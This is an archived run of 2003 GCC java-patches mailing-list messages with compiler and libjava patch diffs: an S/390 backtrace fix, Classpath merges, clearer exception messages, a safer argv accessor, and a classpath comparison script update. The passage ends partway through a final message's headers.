faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id AAA09627; Sat, 29 Mar 2003 00:47:05 +0100 (MET) From: Ulrich Weigand Message-Id: <200303282347.AAA09627@faui11.informatik.uni-erlangen.de> Subject: S/390: Fix backtrace support for Java To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Date: Sat, 29 Mar 2003 00:47:05 +0100 (MET) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, this fixes the last remaining problem with backtraces for Java by making sure that the prolog stores the stack frame backchain pointer before any possibly trapping memory access if we need to support asynchronous exceptions. This makes it possible to set the HAVE_BACKTRACE symbol for libjava. This fixes the SyncTest test case timeouts. Bootstrapped/regtested on s390-ibm-linux and s390x-ibm-linux on both 3.3 and CVS head; committed to both. gcc/ ChangeLog: * config/s390/s390.c (s390_emit_prologoue): Make sure backchain is set up before any trapping memory access if flag_non_call_exceptions. libjava/ ChangeLog: * configure.in (HAVE_BACKTRACE) [s390*-*-linux*]: Define. * configure: Regenerate. Index: gcc/config/s390/s390.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/config/s390/s390.c,v retrieving revision 1.70.2.2 diff -c -p -r1.70.2.2 s390.c *** gcc/config/s390/s390.c 24 Jan 2003 17:12:05 -0000 1.70.2.2 --- gcc/config/s390/s390.c 15 Feb 2003 21:57:01 -0000 *************** s390_emit_prologue () *** 5215,5220 **** --- 5215,5230 ---- set_mem_alias_set (addr, s390_sr_alias_set); insn = emit_insn (gen_move_insn (addr, temp_reg)); } + + /* If we support asynchronous exceptions (e.g. for Java), + we need to make sure the backchain pointer is set up + before any possibly trapping memory access. */ + + if (TARGET_BACKCHAIN && flag_non_call_exceptions) + { + addr = gen_rtx_MEM (BLKmode, gen_rtx_SCRATCH (VOIDmode)); + emit_insn (gen_rtx_CLOBBER (VOIDmode, addr)); + } } /* Save fprs 8 - 15 (64 bit ABI). */ Index: libjava/configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.5 diff -c -p -r1.142.4.5 configure.in *** libjava/configure.in 13 Feb 2003 02:09:26 -0000 1.142.4.5 --- libjava/configure.in 15 Feb 2003 21:57:10 -0000 *************** else *** 515,523 **** ia64-*-linux*) # Has broken backtrace() ;; - s390*-*-linux*) - # Has broken backtrace() - ;; *) AC_DEFINE(HAVE_BACKTRACE) ;; --- 515,520 ---- -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6607-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 01:33:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2100 invoked by alias); 29 Mar 2003 01:33:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2091 invoked from network); 29 Mar 2003 01:33:36 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 29 Mar 2003 01:33:36 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA19366; Fri, 28 Mar 2003 18:33:35 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AAA554F867B; Fri, 28 Mar 2003 18:29:14 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: Classpath mergelet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I see TOILET SEATS... Date: 28 Mar 2003 18:29:14 -0700 Message-ID: <87el4r7yfp.fsf@fleche.redhat.com> Lines: 79 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This merges Package and Proxy from Classpath. The former is an old divergence that it is now safe to remove. The latter is an API compatibility fixlet. Tom Index: libjava/ChangeLog from Tom Tromey * java/lang/reflect/Proxy.java: New version from Classpath. * java/lang/Package.java: New version from Classpath. Index: libjava/java/lang/Package.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Package.java,v retrieving revision 1.5 diff -u -r1.5 Package.java --- libjava/java/lang/Package.java 2 Mar 2003 21:20:26 -0000 1.5 +++ libjava/java/lang/Package.java 29 Mar 2003 01:32:01 -0000 @@ -1,5 +1,5 @@ /* Package.java -- information about a package - Copyright (C) 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -269,8 +269,7 @@ public static Package getPackage(String name) { // Get the caller's classloader - SecurityManager sm = System.getSecurityManager(); - Class c = sm.getClassContext()[1]; + Class c = VMSecurityManager.getClassContext()[1]; ClassLoader cl = c.getClassLoader(); return cl != null ? cl.getPackage(name) : null; } @@ -284,8 +283,7 @@ public static Package[] getPackages() { // Get the caller's classloader - SecurityManager sm = System.getSecurityManager(); - Class c = sm.getClassContext()[1]; + Class c = VMSecurityManager.getClassContext()[1]; ClassLoader cl = c.getClassLoader(); // Sun's implementation returns the packages loaded by the bootstrap // classloader if cl is null, but right now our bootstrap classloader @@ -313,12 +311,7 @@ */ public String toString() { - return "package: " + name + - " spec: " + specTitle + - " version: " + specVersion + - " vendor: " + specVendor + - " implementation: " + implTitle + - " version: " + implVersion + - " vendor: " + implVendor + " sealed: " + sealed; + return ("package " + name + (specTitle == null ? "" : ", " + specTitle) + + (specVersion == null ? "" : ", version " + specVersion)); } } // class Package Index: libjava/java/lang/reflect/Proxy.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/reflect/Proxy.java,v retrieving revision 1.2 diff -u -r1.2 Proxy.java --- libjava/java/lang/reflect/Proxy.java 3 Nov 2002 20:27:30 -0000 1.2 +++ libjava/java/lang/reflect/Proxy.java 29 Mar 2003 01:32:02 -0000 @@ -185,7 +185,7 @@ * Proxy. * @serial invocation handler associated with this proxy instance */ - protected final InvocationHandler h; + protected InvocationHandler h; /** * Constructs a new Proxy from a subclass (usually a proxy class), From java-patches-return-6608-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 09:25:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5777 invoked by alias); 29 Mar 2003 09:25:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5770 invoked from network); 29 Mar 2003 09:25:21 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 29 Mar 2003 09:25:21 -0000 Received: from p733 (adsl-68-74-195-180.dsl.milwwi.ameritech.net [68.74.195.180]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2T9PD705741; Sat, 29 Mar 2003 03:25:13 -0600 From: Mohan Embar To: Andrew Haley Cc: java-patches@gcc.gnu.org Date: Sat, 29 Mar 2003 03:25:12 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <16003.13253.620256.16088@masala.cambridge.redhat.com> Message-Id: Subject: gnu.gcj.progname Patch Status MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Andrew, I have the changes coded up and the code seems to be okay, but I am running into a testing snag where stack traces hang. This is most likely because my build environment isn't sane. I am going to blow everything away and do a full build of the current CVS pre- and post- my updated patch. If things check out okay, I'll resubmit the patch later today. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6609-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 20:16:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19778 invoked by alias); 29 Mar 2003 20:16:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19771 invoked from network); 29 Mar 2003 20:16:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 29 Mar 2003 20:16:47 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA07951; Sat, 29 Mar 2003 13:16:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 48D9E4F867C; Sat, 29 Mar 2003 13:12:17 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: minor Class improvement From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Uh-oh -- WHY am I suddenly thinking of a VENERABLE religious leader frolicking on a FORT LAUDERDALE weekend? Date: 29 Mar 2003 13:12:17 -0700 Message-ID: <871y0q6ify.fsf@fleche.redhat.com> Lines: 76 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. There were a few places in Class that threw an exception without a descriptive message. This makes it harder to figure out what has gone wrong. (In the early days, this was how we did things. Nowadays we can do better.) Tom Index: ChangeLog from Tom Tromey * java/lang/natClass.cc (newInstance): Put method name in exception. (getConstructor): Likewise. (getDeclaredConstructor): Likewise. (getPrivateMethod): Likewise. Index: java/lang/natClass.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natClass.cc,v retrieving revision 1.60 diff -u -r1.60 natClass.cc --- java/lang/natClass.cc 30 Jan 2003 23:20:45 -0000 1.60 +++ java/lang/natClass.cc 29 Mar 2003 20:15:07 -0000 @@ -1,6 +1,6 @@ // natClass.cc - Implementation of java.lang.Class native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -157,7 +157,7 @@ return cons; } } - throw new java::lang::NoSuchMethodException; + throw new java::lang::NoSuchMethodException (_Jv_NewStringUtf8Const (init_name)); } JArray * @@ -224,7 +224,7 @@ return cons; } } - throw new java::lang::NoSuchMethodException; + throw new java::lang::NoSuchMethodException (_Jv_NewStringUtf8Const (init_name)); } java::lang::reflect::Field * @@ -707,13 +707,13 @@ || isInterface () || isArray () || java::lang::reflect::Modifier::isAbstract(accflags)) - throw new java::lang::InstantiationException; + throw new java::lang::InstantiationException (getName ()); _Jv_InitClass (this); _Jv_Method *meth = _Jv_GetMethodLocal (this, init_name, void_signature); if (! meth) - throw new java::lang::NoSuchMethodException; + throw new java::lang::NoSuchMethodException (_Jv_NewStringUtf8Const (init_name)); jobject r = JvAllocObject (this); ((void (*) (jobject)) meth->ncode) (r); @@ -1504,7 +1504,7 @@ } } } - throw new java::lang::NoSuchMethodException; + throw new java::lang::NoSuchMethodException (name); } // Private accessor method for Java code to retrieve the protection domain. From java-patches-return-6610-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 20:28:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21304 invoked by alias); 29 Mar 2003 20:28:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21292 invoked from network); 29 Mar 2003 20:28:24 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 29 Mar 2003 20:28:24 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA10522; Sat, 29 Mar 2003 13:28:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AC1534F867C; Sat, 29 Mar 2003 13:23:52 -0700 (MST) To: GCC libjava patches Cc: Gcc Patch List Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: BELA LUGOSI is my co-pilot.. Date: 29 Mar 2003 13:23:52 -0700 Message-ID: <87pto96hwn.fsf@fleche.redhat.com> Lines: 72 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Another automated classpath comparison. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.66 diff -u -r1.66 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 28 Mar 2003 23:02:50 -0000 1.66 +++ libgcj-classpath-compare.html 29 Mar 2003 20:27:38 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-27. +2003-03-29. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -48,7 +48,6 @@ java.io.InputStreamReader Yes Yes Diff java.io.LineNumberReader Yes Yes Diff java.io.ObjectInputStream Yes Yes Diff - java.io.ObjectOutputStream Yes Yes Diff java.io.OutputStreamWriter Yes Yes Diff java.io.PrintStream Yes Yes Diff java.io.RandomAccessFile Yes Yes Diff @@ -59,7 +58,6 @@ java.lang.EcosProcess Yes No No java.lang.Math Yes Yes Diff java.lang.Object Yes Yes No - java.lang.Package Yes Yes Diff java.lang.PosixProcess Yes No No java.lang.Runtime Yes VM-specific   java.lang.SecurityManager Yes Yes Diff @@ -77,7 +75,6 @@ java.lang.reflect.Field Yes VM-specific   java.lang.reflect.Method Yes VM-specific   java.lang.reflect.Modifier Yes Yes Diff - java.lang.reflect.Proxy Yes Yes Diff java.net.DatagramSocket Yes Yes Diff java.net.InetAddress Yes Yes Diff java.net.JarURLConnection Yes Yes Diff @@ -118,13 +115,11 @@ java.security.spec.PSSParameterSpec No Yes No java.security.spec.RSAMultiPrimePrivateCrtKeySpec No Yes No java.security.spec.RSAOtherPrimeInfo No Yes No - java.text.AttributedCharacterIterator Yes Yes Diff java.text.CollationElementIterator Yes Yes No java.text.CollationKey Yes Yes No java.text.Collator Yes Yes Diff java.text.MessageFormat Yes Yes Diff java.text.RuleBasedCollator Yes Yes No - java.util.Date Yes Yes Diff java.util.PropertyPermission Yes Yes Diff java.util.ResourceBundle Yes Yes Diff java.util.logging.ConsoleHandler No Yes No @@ -143,8 +138,6 @@ java.util.logging.SocketHandler No Yes No java.util.logging.StreamHandler No Yes No java.util.logging.XMLFormatter No Yes No - java.util.regex.Pattern Yes Yes Diff - java.util.regex.PatternSyntaxException Yes Yes Diff java.util.zip.Deflater Yes Yes Diff java.util.zip.DeflaterConstants No Yes No java.util.zip.DeflaterEngine No Yes No From java-patches-return-6611-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 20:54:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31047 invoked by alias); 29 Mar 2003 20:54:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31040 invoked from network); 29 Mar 2003 20:54:24 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 29 Mar 2003 20:54:24 -0000 Received: from p733 (adsl-68-74-195-180.dsl.milwwi.ameritech.net [68.74.195.180]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2TKsHY19982; Sat, 29 Mar 2003 14:54:17 -0600 From: Mohan Embar To: Andrew Haley Cc: java-patches@gcc.gnu.org Date: Sat, 29 Mar 2003 14:54:17 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <16003.13253.620256.16088@masala.cambridge.redhat.com> Message-Id: Subject: Patch: Set gnu.gcj.progname safely MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Andrew, I'm satisfied enough with this to release this. Like I said, stack traces hang on my machine, but this happens with the unadulterated 3.3 branch too. I haven't tested the MingW build but am doing this now and am pretty confident of the outcome. I wanted to release this already because people seem in a hurry to have it. I've also attached my test, which consists of two programs: a JNI-invoked one which failed prior to this patch and a vanilla one. If you don't specify a command line argument to progJ on my machine, it will hang due to the stack trace triggered by the ArrayIndexOutOfBoundsException, so be sure to use ./progJ xxx, for example. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-29 Mohan Embar * include/jvm.h: (_Jv_GetNbArgs) added (_Jv_GetSafeArg) added (_Jv_SetArgs) added * prims.cc: (_Jv_GetNbArgs) implemented (_Jv_GetSafeArg) implemented (_Jv_SetArgs) implemented (_Jv_RunMain) use _Jv_SetArgs() instead of explicitly setting _Jv_argc and _Jv_argv * posix.cc: (_Jv_ThisExecutable) use _Jv_GetSafeArg() instead of _Jv_argv * java/lang/natRuntime.cc: (insertSystemProperties) use _Jv_GetSafeArg() instead of _Jv_argv Index: include/jvm.h =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/include/jvm.h,v retrieving revision 1.52.8.1 diff -u -2 -r1.52.8.1 jvm.h --- include/jvm.h 10 Mar 2003 19:34:30 -0000 1.52.8.1 +++ include/jvm.h 29 Mar 2003 15:38:16 -0000 @@ -353,4 +353,17 @@ } +/* Get the number of arguments (cf. argc) or 0 if our argument + list was never initialized. */ +extern int _Jv_GetNbArgs (void); + +/* Get the specified argument (cf. argv[index]) or "" if either + our argument list was never initialized or the specified index + is out of bounds. */ +extern const char * _Jv_GetSafeArg (int index); + +/* Sets our argument list. Can be used by programs with non-standard + entry points. */ +extern void _Jv_SetArgs (int argc, const char **argv); + /* Get the name of the running executable. */ extern const char *_Jv_ThisExecutable (void); Index: prims.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/prims.cc,v retrieving revision 1.76.2.1 diff -u -2 -r1.76.2.1 prims.cc --- prims.cc 10 Mar 2003 19:34:30 -0000 1.76.2.1 +++ prims.cc 29 Mar 2003 15:38:13 -0000 @@ -91,4 +91,28 @@ int _Jv_argc; +// Argument support. +int +_Jv_GetNbArgs (void) +{ + // _Jv_argc is 0 if not explicitly initialized. + return _Jv_argc; +} + +const char * +_Jv_GetSafeArg (int index) +{ + if (index >=0 && index < _Jv_GetNbArgs ()) + return _Jv_argv[index]; + else + return ""; +} + +void +_Jv_SetArgs (int argc, const char **argv) +{ + _Jv_argc = argc; + _Jv_argv = argv; +} + #ifdef ENABLE_JVMPI // Pointer to JVMPI notification functions. @@ -937,6 +961,5 @@ bool is_jar) { - _Jv_argv = argv; - _Jv_argc = argc; + _Jv_SetArgs (argc, argv); java::lang::Runtime *runtime = NULL; Index: posix.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/posix.cc,v retrieving revision 1.7.20.1 diff -u -2 -r1.7.20.1 posix.cc --- posix.cc 10 Mar 2003 19:34:30 -0000 1.7.20.1 +++ posix.cc 29 Mar 2003 15:38:11 -0000 @@ -26,7 +26,4 @@ #endif -// platform-specific executable name -extern const char **_Jv_argv; - #if defined(HAVE_PROC_SELF_EXE) static char exec_name[20]; @@ -42,5 +39,5 @@ // initialized in _Jv_platform_initialize() #else - return _Jv_argv[0]; + return _Jv_GetSafeArg (0); #endif } Index: java/lang/natRuntime.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.29.2.4 diff -u -2 -r1.29.2.4 natRuntime.cc --- java/lang/natRuntime.cc 10 Mar 2003 19:34:30 -0000 1.29.2.4 +++ java/lang/natRuntime.cc 29 Mar 2003 15:38:19 -0000 @@ -129,8 +129,4 @@ -extern int _Jv_argc; -extern const char **_Jv_argv; - // our process' command line arguments - void java::lang::Runtime::exitInternal (jint status) @@ -612,5 +608,5 @@ // The name used to invoke this process (argv[0] in C). - SET ("gnu.gcj.progname", _Jv_argv[0]); + SET ("gnu.gcj.progname", _Jv_GetSafeArg (0)); // Allow platform specific settings and overrides. From java-patches-return-6612-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 20:57:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31779 invoked by alias); 29 Mar 2003 20:57:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31772 invoked from network); 29 Mar 2003 20:57:22 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 29 Mar 2003 20:57:22 -0000 Received: from p733 (adsl-68-74-195-180.dsl.milwwi.ameritech.net [68.74.195.180]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2TKvCY20368; Sat, 29 Mar 2003 14:57:12 -0600 From: Mohan Embar To: Andrew Haley Cc: java-patches@gcc.gnu.org Date: Sat, 29 Mar 2003 14:57:13 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <4WKJZYZ84ZYGA0MLUSQK320ONXLI.3e8608a9@p733> Subject: Re: Patch: Set gnu.gcj.progname safely MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------8/vnYqxZbWRO9ou3/xr+sd" ------------8/vnYqxZbWRO9ou3/xr+sd Content-Type: text/plain; charset="us-ascii" >I've also attached my test, which consists of two programs: (No, I wasn't planning to send my test on a floppy via FedEx.... Sorry.) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ------------8/vnYqxZbWRO9ou3/xr+sd Content-Disposition: attachment; filename="JNITest.tar.gz" Content-Type: application/x-gzip Content-Transfer-Encoding: Base64 H4sIAPgHhj4AA+1Yf2/aSBDlb3+KqWkSQ8E/gGAplEqIpC25JiAg6UlJFRl7 AXP2GtkLDTr1PvvNeg1xWiW0uiNp7/ykxPZ6dvZ5dp79ElXL7Ry6XtPNw0M8 6rpZr907JsjxAaOmV80qnht6pWLk4HD31HK5RcSsECDnB1OLPhK37f4vClXr hcFEnVlLa2dr4H7qZq324P5Xq8n+V+p6xcQ+MQzTrORA3xmjFP7n+z9fjDzX Btuzogh4K8CfEiCScSwOw8MycB3wLZcqAxa6dHL1CaxwEhWSYI7BKmLEV4MF U+cYwjyqyO+J5wXwMQg9R4ZX8ZQr/VOh8eikCV2oE3uGA8GEWj6BJsivksAJ YchxTkK2+jZQLiSZv0hfpOeu668CVRstXM9RRxbb2Rpb9V8zE/0f1vVaHeMr ekXP9P8UiAjzAtvyJDyBYbfXPD66RqXNr9nUjdzIDgKvPLHta/wpV9VqOqzX 777rt/4yHgrttYbvYQ+D965HLm3s8es9CRULZRvK4xl1YfPtgXIAXMdqgAF2 HNARU11qewuHgEuXwR9EtXlkch6IZMlMckuSFHf3CXXE0z13mX9aqNq6sLtb Y4v+K/Xqnf4Pa9z/GXWzmun/KZBf6+s16lGdvpGkvDt2yBhuPnbOqxUpj+cu JcDFezM46bX6rWG3DweNAylPvIiAVoSL887vUNQejD3isdRxx9Im5GJw0r9p f2gNBvFbQlZlnujzlIREvBSEIXEjnleKncfabJyed07oEoqELsXn/hTfH5dn UJwt/fRAh7qshY4Dlv4Ndx7i3gxdBoRkfSWWsb31tU/YNHA6x+C7TjIUxY4n PiYjwWhGbMwdWiu4y2xPsY/ifHOLTa/wb5jap4Ykxffw2TpnvW5/2DofHkE0 J7Y7Xq2JwZKEkRtQyIM7hlWwgAXW9fT4N0M11ApY1IERWQV4wFrwbMk8dT2v Cfot6sjgWmpI6yLdvCPsmIythcfuF0TZTxIUGht27ZBYjACbkrh6wOspFsNa 4QI8n4gRuZR9rHZJ4b6wWCzAPm5GKZWWT8RnUfjk16CnfeI4NnpjJWIOCcMS yG2LHjCwBYFk8Wsqp1wiuXWZYmzMnai2x2kpvAsK5TdvXeq0eekVTgRk3kJy ikcc3fwuItiejjDC8V5uZ4KdkmKCRR/Envks6STBCAngCryPZTwqVx/4R0/z LDrRhKNuFC7ThOOkP0hY5em38+WNnCJ8Tj4LBhfDt0n1YBwGPrRfpAmJWdsY dRcMgjH4xA/C1aNU+O+4+e8x6d4pS3AxSpsEX+Ohvf+6snKhFD9z6mHEwv/u w6zptC3PEx1wieIQXZDqAdzYEqTFp/D3Fs47JsgxWCXy4mONp/gzJvH/bTWa 7myNbf6/wj2/+P6bph5//8169v1/EuRfaGjOtWgqcVevORazPA0tuGgLjWIj Lwlex26++RKDePzRS375A14+nvi9Vr79jY9/7ir9d5Ho//Q59W/U9I3+6+v/ /9Uz/T8F/rn+y9x2NGPHlOj39O5dkCk3Q4YMGTJkyJAhQ4YMGTJk+AnwN2nr GWAAKAAA ------------8/vnYqxZbWRO9ou3/xr+sd-- From java-patches-return-6613-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 21:14:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1836 invoked by alias); 29 Mar 2003 21:14:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1821 invoked from network); 29 Mar 2003 21:14:52 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 29 Mar 2003 21:14:52 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA18978; Sat, 29 Mar 2003 14:14:51 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2B9A34F867C; Sat, 29 Mar 2003 14:10:21 -0700 (MST) To: Gcc Patch List Cc: GCC libjava patches Subject: Patch: FYI: classpath comparison script change From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am a jelly donut. I am a jelly donut. Date: 29 Mar 2003 14:10:21 -0700 Message-ID: <871y0p6fr6.fsf@fleche.redhat.com> Lines: 79 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This changes the classpath comparison script to note vm-specific classes, to look at more classes, and to find classes in other directories in classpath. Tom Index: gen-classpath-compare =================================================================== RCS file: /cvs/gcc/wwwdocs/bin/gen-classpath-compare,v retrieving revision 1.3 diff -u -r1.3 gen-classpath-compare --- gen-classpath-compare 21 Feb 2003 02:11:23 -0000 1.3 +++ gen-classpath-compare 29 Mar 2003 21:12:30 -0000 @@ -62,14 +62,17 @@ No='No' Yes='Yes' +VmSpec='VM-specific' +Empty=' ' # Note: for now, we omit much of gnu.* (it differs too much) and also # javax.swing. -(cd $LIBGCJ; find . -name '*.java' -print; \ -cd $CLASSPATH; find . -name '*.java' -print) | -sort | uniq | sed -e 's,^\./,,' | -grep -E '^(java|gnu/java/security|gnu/java|gnu/javax/rmi|javax/naming|javax/transaction|javax/sql)/' | -grep -E -v '^(gnu/java/io|gnu/java/lang|gnu/java/net)' | +(cd $LIBGCJ; find . -name '*.java' -print; +cd $CLASSPATH; find . -name '*.java' -print; +cd $CLASSPATH/external/jaxp/source; find . -name '*.java' -print) | +sort -u | sed -e 's,^\./,,' | +grep -E '^(java|gnu/java/security|gnu/java|gnu/javax/rmi|javax/accessibility|javax/naming|javax/rmi|javax/sql|javax/transaction|javax/xml)/' | +grep -E -v '^(gnu/java/io|gnu/java/lang|gnu/java/net|gnu/xml)' | (cd $LIBGCJ while read f; do class=`echo $f | sed -e 's,/,.,g' -e 's,\.java$,,'` @@ -78,22 +81,35 @@ gcj=$No if test -f $f; then gcj=$Yes - if fgrep -s -q Classpath $f; then - Merge="$Yes" - fi + case $class in + gnu.java.locale.*) + Merge="$Yes" ;; + *) + if fgrep -s -q Classpath $f; then + Merge="$Yes" + fi + ;; + esac fi clp=$No - if test -f "$CLASSPATH/$f"; then + + cpfile="$CLASSPATH/$f" + test -f "$cpfile" || cpfile="$CLASSPATH/external/jaxp/source/$f" + + if test -f "$cpfile"; then clp=$Yes if test "$Merge" = "$Yes"; then - diff -u "$CLASSPATH/$f" $f > $tmp + diff -u "$cpfile" $f > $tmp if test -s $tmp; then cp $tmp "$OUTPUT/compare/$class.diff" Merge="Diff" fi rm -f $tmp fi + elif test -f "$CLASSPATH/vm/reference/$f"; then + clp="$VmSpec" + Merge="$Empty" fi if test "$gcj" = "$Yes" && test "$clp" = "$Yes" && test "$Merge" = "$Yes" From java-patches-return-6614-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 29 21:22:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4460 invoked by alias); 29 Mar 2003 21:22:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4453 invoked from network); 29 Mar 2003 21:22:22 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 29 Mar 2003 21:22:22 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA20091; Sat, 29 